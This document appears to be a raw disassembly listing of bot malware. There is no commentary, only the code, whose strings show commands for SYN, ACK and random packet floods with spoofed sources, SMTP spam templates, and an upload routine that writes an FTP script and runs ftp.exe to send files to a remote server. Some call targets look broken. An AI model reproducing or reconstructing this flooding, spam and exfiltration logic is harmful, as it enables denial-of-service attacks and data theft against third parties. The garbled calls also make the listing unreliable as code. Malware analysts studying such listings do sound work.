		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAF14
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB028
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB024
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAFA4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFF4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		push	esi
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9FC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A9B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A970
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A938
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A900

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB094, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A8B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42A880
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7F4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A78C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A744
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A70C

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A6CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A6A4
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A634
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A604

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431440, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431440

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431440[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A59C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A470
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
